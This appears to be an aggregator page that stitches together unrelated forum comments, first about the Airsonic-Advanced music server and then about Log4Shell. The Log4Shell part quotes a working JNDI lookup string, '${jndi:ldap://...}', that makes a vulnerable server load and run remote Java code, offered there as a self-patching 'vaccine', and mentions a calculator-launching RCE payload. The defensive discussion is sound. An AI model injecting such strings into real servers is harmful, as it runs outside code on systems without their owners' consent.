airsonic-advanced VS Logout4Shell

Airsonic version: 11.0.0-SNAPSHOT.20230217142243 – February 17, 2023 at 2:22:43 PM GMT [Commit: 1397446f979b1cdea283eec89ce4f0eae7d63450]

I use Airsonic-Advanced and I think it might suit your needs. All my stuff is FLAC 16/44 and I have one sampler album that is 24/96 and it plays just fine.

Regarding the likes of Navidrome (I am a recent user, particularly for music on the go) it's a real pity that it's still reliant on Subsonic - why not move to AirSonic Advanced? With many "personal Spotify" apps the assumption seems to be that playing music on desktop or mobile is what most users want. Is there a way to easily stream lossless to an external DAC via the likes of a RPi? Is it as simple as adding a DLNA client to the mix?

I'm running the latest build of Airsonic-Advanced ( 11.0.0-SNAPSHOT.20220625052932 – June 25, 2022 at 1:29:32 AM EDT [Commit: 89e6fe9aec80daf8224c6696f8f86bfcf22c6e0a] ) and I'm having a problem with my database getting corrupted on a regular basis (every 1-2 weeks). I then have to delete it, reboot and let it rebuild, and then it gets corrupted again.

My recommendation would be to not use Plex for Podcasts. You could use Airsonic-Advanced for automatic Podcast episode grabbing and then either play them through that or use AudiobookShelf.

Highly recommend plex/plexamp and Airsonic-advanced

I presume from the version you are using Airsonic Advanced? You're better of posting on their Github https://github.com/airsonic-advanced/airsonic-advanced/issues

#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments

Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell

another option : https://github.com/Cybereason/Logout4Shell

Yup

This is actually a thing

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

Source code is on GitHub here[0][1] if you want to host it yourself.

(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

0: https://github.com/lunasec-io/lunasec/releases/

1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

2: https://github.com/Cybereason/Logout4Shell

The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:

a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it

b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system

For those that are interested!